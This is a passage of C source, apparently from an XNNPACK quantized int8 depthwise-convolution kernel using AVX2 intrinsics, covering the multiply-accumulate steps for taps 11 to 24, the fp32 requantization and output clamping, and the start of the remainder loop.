const __m256i vk11xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 368 * sizeof(int8_t))));
i11 += 32;
const __m256i vprod11x0123456789ABCDEF = _mm256_mullo_epi16(vi11x0123456789ABCDEF, vk11x0123456789ABCDEF);
const __m128i vprod11x89ABCDEF = _mm256_extracti128_si256(vprod11x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod11x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod11x89ABCDEF));
const __m256i vprod11xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi11xGHIJKLMNOPQRSTUV, vk11xGHIJKLMNOPQRSTUV);
const __m128i vprod11xOPQRSTUV = _mm256_extracti128_si256(vprod11xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod11xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod11xOPQRSTUV));
const __m256i vi12x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i12));
const __m256i vk12x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 384 * sizeof(int8_t))));
const __m256i vi12xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i12 + 16)));
const __m256i vk12xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 400 * sizeof(int8_t))));
i12 += 32;
const __m256i vprod12x0123456789ABCDEF = _mm256_mullo_epi16(vi12x0123456789ABCDEF, vk12x0123456789ABCDEF);
const __m128i vprod12x89ABCDEF = _mm256_extracti128_si256(vprod12x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod12x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod12x89ABCDEF));
const __m256i vprod12xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi12xGHIJKLMNOPQRSTUV, vk12xGHIJKLMNOPQRSTUV);
const __m128i vprod12xOPQRSTUV = _mm256_extracti128_si256(vprod12xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod12xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod12xOPQRSTUV));
const __m256i vi13x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i13));
const __m256i vk13x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 416 * sizeof(int8_t))));
const __m256i vi13xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i13 + 16)));
const __m256i vk13xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 432 * sizeof(int8_t))));
i13 += 32;
const __m256i vprod13x0123456789ABCDEF = _mm256_mullo_epi16(vi13x0123456789ABCDEF, vk13x0123456789ABCDEF);
const __m128i vprod13x89ABCDEF = _mm256_extracti128_si256(vprod13x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod13x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod13x89ABCDEF));
const __m256i vprod13xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi13xGHIJKLMNOPQRSTUV, vk13xGHIJKLMNOPQRSTUV);
const __m128i vprod13xOPQRSTUV = _mm256_extracti128_si256(vprod13xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod13xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod13xOPQRSTUV));
const __m256i vi14x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i14));
const __m256i vk14x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 448 * sizeof(int8_t))));
const __m256i vi14xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i14 + 16)));
const __m256i vk14xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 464 * sizeof(int8_t))));
i14 += 32;
const __m256i vprod14x0123456789ABCDEF = _mm256_mullo_epi16(vi14x0123456789ABCDEF, vk14x0123456789ABCDEF);
const __m128i vprod14x89ABCDEF = _mm256_extracti128_si256(vprod14x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod14x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod14x89ABCDEF));
const __m256i vprod14xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi14xGHIJKLMNOPQRSTUV, vk14xGHIJKLMNOPQRSTUV);
const __m128i vprod14xOPQRSTUV = _mm256_extracti128_si256(vprod14xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod14xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod14xOPQRSTUV));
const __m256i vi15x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i15));
const __m256i vk15x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 480 * sizeof(int8_t))));
const __m256i vi15xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i15 + 16)));
const __m256i vk15xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 496 * sizeof(int8_t))));
i15 += 32;
const __m256i vprod15x0123456789ABCDEF = _mm256_mullo_epi16(vi15x0123456789ABCDEF, vk15x0123456789ABCDEF);
const __m128i vprod15x89ABCDEF = _mm256_extracti128_si256(vprod15x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod15x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod15x89ABCDEF));
const __m256i vprod15xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi15xGHIJKLMNOPQRSTUV, vk15xGHIJKLMNOPQRSTUV);
const __m128i vprod15xOPQRSTUV = _mm256_extracti128_si256(vprod15xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod15xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod15xOPQRSTUV));
const __m256i vi16x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i16));
const __m256i vk16x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 512 * sizeof(int8_t))));
const __m256i vi16xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i16 + 16)));
const __m256i vk16xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 528 * sizeof(int8_t))));
i16 += 32;
const __m256i vprod16x0123456789ABCDEF = _mm256_mullo_epi16(vi16x0123456789ABCDEF, vk16x0123456789ABCDEF);
const __m128i vprod16x89ABCDEF = _mm256_extracti128_si256(vprod16x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod16x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod16x89ABCDEF));
const __m256i vprod16xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi16xGHIJKLMNOPQRSTUV, vk16xGHIJKLMNOPQRSTUV);
const __m128i vprod16xOPQRSTUV = _mm256_extracti128_si256(vprod16xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod16xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod16xOPQRSTUV));
const __m256i vi17x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i17));
const __m256i vk17x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 544 * sizeof(int8_t))));
const __m256i vi17xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i17 + 16)));
const __m256i vk17xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 560 * sizeof(int8_t))));
i17 += 32;
const __m256i vprod17x0123456789ABCDEF = _mm256_mullo_epi16(vi17x0123456789ABCDEF, vk17x0123456789ABCDEF);
const __m128i vprod17x89ABCDEF = _mm256_extracti128_si256(vprod17x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod17x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod17x89ABCDEF));
const __m256i vprod17xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi17xGHIJKLMNOPQRSTUV, vk17xGHIJKLMNOPQRSTUV);
const __m128i vprod17xOPQRSTUV = _mm256_extracti128_si256(vprod17xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod17xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod17xOPQRSTUV));
const __m256i vi18x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i18));
const __m256i vk18x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 576 * sizeof(int8_t))));
const __m256i vi18xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i18 + 16)));
const __m256i vk18xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 592 * sizeof(int8_t))));
i18 += 32;
const __m256i vprod18x0123456789ABCDEF = _mm256_mullo_epi16(vi18x0123456789ABCDEF, vk18x0123456789ABCDEF);
const __m128i vprod18x89ABCDEF = _mm256_extracti128_si256(vprod18x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod18x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod18x89ABCDEF));
const __m256i vprod18xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi18xGHIJKLMNOPQRSTUV, vk18xGHIJKLMNOPQRSTUV);
const __m128i vprod18xOPQRSTUV = _mm256_extracti128_si256(vprod18xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod18xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod18xOPQRSTUV));
const __m256i vi19x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i19));
const __m256i vk19x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 608 * sizeof(int8_t))));
const __m256i vi19xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i19 + 16)));
const __m256i vk19xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 624 * sizeof(int8_t))));
i19 += 32;
const __m256i vprod19x0123456789ABCDEF = _mm256_mullo_epi16(vi19x0123456789ABCDEF, vk19x0123456789ABCDEF);
const __m128i vprod19x89ABCDEF = _mm256_extracti128_si256(vprod19x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod19x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod19x89ABCDEF));
const __m256i vprod19xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi19xGHIJKLMNOPQRSTUV, vk19xGHIJKLMNOPQRSTUV);
const __m128i vprod19xOPQRSTUV = _mm256_extracti128_si256(vprod19xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod19xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod19xOPQRSTUV));
const __m256i vi20x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i20));
const __m256i vk20x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 640 * sizeof(int8_t))));
const __m256i vi20xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i20 + 16)));
const __m256i vk20xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 656 * sizeof(int8_t))));
i20 += 32;
const __m256i vprod20x0123456789ABCDEF = _mm256_mullo_epi16(vi20x0123456789ABCDEF, vk20x0123456789ABCDEF);
const __m128i vprod20x89ABCDEF = _mm256_extracti128_si256(vprod20x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod20x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod20x89ABCDEF));
const __m256i vprod20xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi20xGHIJKLMNOPQRSTUV, vk20xGHIJKLMNOPQRSTUV);
const __m128i vprod20xOPQRSTUV = _mm256_extracti128_si256(vprod20xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod20xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod20xOPQRSTUV));
const __m256i vi21x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i21));
const __m256i vk21x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 672 * sizeof(int8_t))));
const __m256i vi21xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i21 + 16)));
const __m256i vk21xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 688 * sizeof(int8_t))));
i21 += 32;
const __m256i vprod21x0123456789ABCDEF = _mm256_mullo_epi16(vi21x0123456789ABCDEF, vk21x0123456789ABCDEF);
const __m128i vprod21x89ABCDEF = _mm256_extracti128_si256(vprod21x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod21x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod21x89ABCDEF));
const __m256i vprod21xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi21xGHIJKLMNOPQRSTUV, vk21xGHIJKLMNOPQRSTUV);
const __m128i vprod21xOPQRSTUV = _mm256_extracti128_si256(vprod21xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod21xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod21xOPQRSTUV));
const __m256i vi22x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i22));
const __m256i vk22x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 704 * sizeof(int8_t))));
const __m256i vi22xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i22 + 16)));
const __m256i vk22xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 720 * sizeof(int8_t))));
i22 += 32;
const __m256i vprod22x0123456789ABCDEF = _mm256_mullo_epi16(vi22x0123456789ABCDEF, vk22x0123456789ABCDEF);
const __m128i vprod22x89ABCDEF = _mm256_extracti128_si256(vprod22x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod22x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod22x89ABCDEF));
const __m256i vprod22xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi22xGHIJKLMNOPQRSTUV, vk22xGHIJKLMNOPQRSTUV);
const __m128i vprod22xOPQRSTUV = _mm256_extracti128_si256(vprod22xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod22xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod22xOPQRSTUV));
const __m256i vi23x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i23));
const __m256i vk23x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 736 * sizeof(int8_t))));
const __m256i vi23xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i23 + 16)));
const __m256i vk23xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 752 * sizeof(int8_t))));
i23 += 32;
const __m256i vprod23x0123456789ABCDEF = _mm256_mullo_epi16(vi23x0123456789ABCDEF, vk23x0123456789ABCDEF);
const __m128i vprod23x89ABCDEF = _mm256_extracti128_si256(vprod23x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod23x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod23x89ABCDEF));
const __m256i vprod23xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi23xGHIJKLMNOPQRSTUV, vk23xGHIJKLMNOPQRSTUV);
const __m128i vprod23xOPQRSTUV = _mm256_extracti128_si256(vprod23xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod23xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod23xOPQRSTUV));
const __m256i vi24x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i24));
const __m256i vk24x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 768 * sizeof(int8_t))));
const __m256i vi24xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i24 + 16)));
const __m256i vk24xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 784 * sizeof(int8_t))));
i24 += 32;
const __m256i vprod24x0123456789ABCDEF = _mm256_mullo_epi16(vi24x0123456789ABCDEF, vk24x0123456789ABCDEF);
const __m128i vprod24x89ABCDEF = _mm256_extracti128_si256(vprod24x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod24x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod24x89ABCDEF));
const __m256i vprod24xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi24xGHIJKLMNOPQRSTUV, vk24xGHIJKLMNOPQRSTUV);
const __m128i vprod24xOPQRSTUV = _mm256_extracti128_si256(vprod24xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod24xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod24xOPQRSTUV));
w = (const void*) ((uintptr_t) w + 32 * sizeof(int32_t) + 800 * sizeof(int8_t));
__m256 vfpacc01234567 = _mm256_cvtepi32_ps(vacc01234567);
__m256 vfpacc89ABCDEF = _mm256_cvtepi32_ps(vacc89ABCDEF);
__m256 vfpaccGHIJKLMN = _mm256_cvtepi32_ps(vaccGHIJKLMN);
__m256 vfpaccOPQRSTUV = _mm256_cvtepi32_ps(vaccOPQRSTUV);
const __m256 vscale = _mm256_load_ps(params->fp32_avx2.scale);
vfpacc01234567 = _mm256_mul_ps(vfpacc01234567, vscale);
vfpacc89ABCDEF = _mm256_mul_ps(vfpacc89ABCDEF, vscale);
vfpaccGHIJKLMN = _mm256_mul_ps(vfpaccGHIJKLMN, vscale);
vfpaccOPQRSTUV = _mm256_mul_ps(vfpaccOPQRSTUV, vscale);
vacc01234567 = _mm256_cvtps_epi32(vfpacc01234567);
vacc89ABCDEF = _mm256_cvtps_epi32(vfpacc89ABCDEF);
vaccGHIJKLMN = _mm256_cvtps_epi32(vfpaccGHIJKLMN);
vaccOPQRSTUV = _mm256_cvtps_epi32(vfpaccOPQRSTUV);
const __m256i voutput_zero_point = _mm256_load_si256((const __m256i*) params->fp32_avx2.output_zero_point);
const __m256i vout012389AB4567CDEF = _mm256_adds_epi16(_mm256_packs_epi32(vacc01234567, vacc89ABCDEF), voutput_zero_point);
const __m256i voutGHIJOPQRKLMNSTUV = _mm256_adds_epi16(_mm256_packs_epi32(vaccGHIJKLMN, vaccOPQRSTUV), voutput_zero_point);
__m128i vout0123456789ABCDEF = _mm_shuffle_epi32(_mm_packs_epi16(_mm256_castsi256_si128(vout012389AB4567CDEF), _mm256_extracti128_si256(vout012389AB4567CDEF, 1)), _MM_SHUFFLE(3, 1, 2, 0));
__m128i voutGHIJKLMNOPQRSTUV = _mm_shuffle_epi32(_mm_packs_epi16(_mm256_castsi256_si128(voutGHIJOPQRKLMNSTUV), _mm256_extracti128_si256(voutGHIJOPQRKLMNSTUV, 1)), _MM_SHUFFLE(3, 1, 2, 0));
const __m128i voutput_min = _mm_load_si128((const __m128i*) params->fp32_avx2.output_min);
const __m128i voutput_max = _mm_load_si128((const __m128i*) params->fp32_avx2.output_max);
vout0123456789ABCDEF = _mm_max_epi8(vout0123456789ABCDEF, voutput_min);
vout0123456789ABCDEF = _mm_min_epi8(vout0123456789ABCDEF, voutput_max);
voutGHIJKLMNOPQRSTUV = _mm_max_epi8(voutGHIJKLMNOPQRSTUV, voutput_min);
voutGHIJKLMNOPQRSTUV = _mm_min_epi8(voutGHIJKLMNOPQRSTUV, voutput_max);
_mm_storeu_si128((__m128i*) output, vout0123456789ABCDEF);
_mm_storeu_si128((__m128i*) (output + 16), voutGHIJKLMNOPQRSTUV);
output += 32;
}
if XNN_UNLIKELY(c != 0) {
const int8_t* k = (const int8_t*) ((uintptr_t) w + 32 * sizeof(int32_t));
do {
__m256i vacc01234567 = _mm256_loadu_si256((const __m256i*) w);
__m256i vacc89ABCDEF = _mm256_loadu_si256((const __m256i*) ((uintptr_t) w + 8 * sizeof(int32_t)));
const __m256i vi0x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i0));
const __m256i vk0x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) k));
i0 += 16;
const __m256i vprod0x0123456789ABCDEF = _mm256_mullo_epi16(vi0x0123456789ABCDEF, vk0x0123456789ABCDEF);
const __m128i vprod0x89ABCDEF = _mm256_extracti128_si256(vprod0x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod0x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod0x89ABCDEF));
const __m256i vi1x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i1));
const __m256i vk1x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 32)));
i1 += 16;
const __m256i vprod1x0123456789ABCDEF = _mm256_mullo_epi16(vi1x0123456789ABCDEF, vk1x0123456789ABCDEF);
const __m128i vprod1x89ABCDEF = _mm256_extracti128_si256(vprod1x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod1x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod1x89ABCDEF));
const __m256i vi2x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i2));
const __m256i vk2x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 64)));
i2 += 16;
const __m256i vprod2x0123456789ABCDEF = _mm256_mullo_epi16(vi2x0123456789ABCDEF, vk2x0123456789ABCDEF);
const __m128i vprod2x89ABCDEF = _mm256_extracti128_si256(vprod2x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod2x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod2x89ABCDEF));
const __m256i vi3x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i3));
const __m256i vk3x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 96)));
i3 += 16;
const __m256i vprod3x0123456789ABCDEF = _mm256_mullo_epi16(vi3x0123456789ABCDEF, vk3x0123456789ABCDEF);
